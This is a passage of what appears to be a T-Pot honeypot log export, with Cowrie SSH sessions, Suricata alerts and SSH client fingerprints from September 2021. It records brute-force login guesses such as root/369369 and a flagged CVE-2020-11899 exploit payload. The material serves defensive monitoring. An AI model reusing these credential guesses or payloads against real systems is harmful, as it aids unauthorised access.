"hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f2b3f14c7288", "@version": "1", "timestamp": "2021-09-20T11:33:12.029051Z", "@timestamp": "2021-09-20T11:33:12.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30211	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:33:12.08687+03	2021-09-20 14:45:02.704141+03	{"_id": "CQb7AnwBvYTbRNuEQDs5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:12.086870+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156571239254, "payload": "AamCzAAIAAIYoAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T11:33:12.086870Z", "@timestamp": "2021-09-20T11:33:12.086Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
30212	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:33:19.145971+03	2021-09-20 14:45:02.706141+03	{"_id": "Fwb7AnwBvYTbRNuEWTvp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:49816 (192.168.176.2:22) [session: c8c5978142ec]", "session": "c8c5978142ec", "@version": "1", "protocol": "ssh", "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:33:19.145971Z", "@timestamp": "2021-09-20T11:33:19.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30214	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:33:19.319604+03	2021-09-20 14:45:02.708141+03	{"_id": "Ggb7AnwBvYTbRNuEWzuU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1167947393326051, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:33:19.319604Z", "@timestamp": "2021-09-20T11:33:19.319Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30215	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:33:19.490536+03	2021-09-20 14:45:02.709142+03	{"_id": "Gwb7AnwBvYTbRNuEXDul", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:33:19.490536", "@timestamp": "2021-09-20T11:33:19.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30216	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:33:20.275427+03	2021-09-20 14:45:02.711142+03	{"_id": "Hgb7AnwBvYTbRNuEXTvR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [rakesh/rakesh123] failed", "session": "c8c5978142ec", "@version": "1", "password": "rakesh123", "username": "rakesh", "timestamp": "2021-09-20T11:33:20.275427Z", "@timestamp": "2021-09-20T11:33:20.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30217	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:33:28.072884+03	2021-09-20 14:45:02.712142+03	{"_id": "Mgb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:52986 (192.168.176.2:22) [session: 9b3f6cfe6b80]", "session": "9b3f6cfe6b80", "@version": "1", "protocol": "ssh", "src_port": 52986, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.072884Z", "@timestamp": "2021-09-20T11:33:28.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30218	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:33:28.175869+03	2021-09-20 14:45:02.714142+03	{"_id": "Mwb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:56288 (192.168.176.2:22) [session: 770da045cc5b]", "session": "770da045cc5b", "@version": "1", "protocol": "ssh", "src_port": 56288, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.175869Z", "@timestamp": "2021-09-20T11:33:28.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30220	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:33:28.12923+03	2021-09-20 14:45:02.716142+03	{"_id": "NQb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9b3f6cfe6b80", "@version": "1", "timestamp": "2021-09-20T11:33:28.129230Z", "@timestamp": "2021-09-20T11:33:28.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30221	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:33:28.178687+03	2021-09-20 14:45:02.717142+03	{"_id": "Ngb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "770da045cc5b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:33:28.178687Z", "@timestamp": "2021-09-20T11:33:28.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30222	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:33:28.232775+03	2021-09-20 14:45:02.719142+03	{"_id": "Nwb7AnwBvYTbRNuEfTsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "770da045cc5b", "@version": "1", "timestamp": "2021-09-20T11:33:28.232775Z", "@timestamp": "2021-09-20T11:33:28.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30223	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:33:08.228971+03	2021-09-20 14:45:02.721141+03	{"_id": "9Qb7AnwBvYTbRNuEMDqX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 146086626048479, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51523, "dest_port": 3389, "timestamp": "2021-09-20T11:33:08.228971Z", "@timestamp": "2021-09-20T11:33:08.228Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30224	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:13.441618+03	2021-09-20 14:45:02.722142+03	{"_id": "Cwb7AnwBvYTbRNuERjtd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/345ert] failed", "session": "f2b3f14c7288", "@version": "1", "password": "345ert", "username": "root", "timestamp": "2021-09-20T11:33:13.441618Z", "@timestamp": "2021-09-20T11:33:13.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30225	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:14.714694+03	2021-09-20 14:45:02.723142+03	{"_id": "DQb7AnwBvYTbRNuESjtG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/369369] failed", "session": "f2b3f14c7288", "@version": "1", "password": "369369", "username": "root", "timestamp": "2021-09-20T11:33:14.714694Z", "@timestamp": "2021-09-20T11:33:14.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30226	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:15.987617+03	2021-09-20 14:45:02.725142+03	{"_id": "Dgb7AnwBvYTbRNuETjsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/369963] failed", "session": "f2b3f14c7288", "@version": "1", "password": "369963", "username": "root", "timestamp": "2021-09-20T11:33:15.987617Z", "@timestamp": "2021-09-20T11:33:15.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30227	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:17.253491+03	2021-09-20 14:45:02.726142+03	{"_id": "EAb7AnwBvYTbRNuEUjsX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "f2b3f14c7288", "@version": "1", "duration": 5.486246585845947, "timestamp": "2021-09-20T11:33:17.253491Z", "@timestamp": "2021-09-20T11:33:17.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30228	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:33:28.23223+03	2021-09-20 14:45:02.727142+03	{"_id": "Ogb7AnwBvYTbRNuEfju_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:28.122587+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1976528674545371, "payload": "AAADzAYUkb8jeZ+3j5rXDBd+4jQJ+AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56288, "app_proto": "ssh", "dest_port": 22, 